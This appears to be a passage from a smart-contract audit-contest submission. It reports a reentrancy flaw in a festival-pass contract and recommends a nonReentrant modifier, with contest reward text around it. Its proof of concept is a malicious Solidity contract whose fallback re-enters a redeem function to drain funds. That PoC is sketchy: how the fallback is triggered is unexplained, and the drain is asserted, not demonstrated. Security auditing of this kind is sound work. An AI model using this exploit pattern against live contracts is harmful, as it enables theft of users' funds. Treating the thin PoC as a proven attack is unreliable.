Submission Details
Impact:
Likelihood:
Reentrancy in State-Changing Functions
Description
External calls before state changes enable reentrancy attacks.
Risk
Likelihood:
Requires malicious contract, but common in ETH-based systems
Impact:
-
Fund theft
-
unlimited token minting
-
DoS
Proof of Concept
contract MaliciousContract {
function attack() external payable {
festivalPass.buyPass{value: 1 ether}(VIP_PASS);
beatToken.transfer(festivalPass, beatToken.balanceOf(address(this)));
}
fallback() external payable {
if (festivalPass.balance > 0) {
festivalPass.redeemMemorabilio(100); // Reentrancy
}
}
}
function test_ReentrancyExploit() public {
MaliciousContract attacker = new MaliciousContract();
vm.deal(address(attacker), 100 ether);
attacker.attack(); // Drains contract funds
}
Recommended Mitigation
Add nonReentrant modifier from OZ's ReentrancyGuard.
- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {
Rewards breakdown
nSLOC
234This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.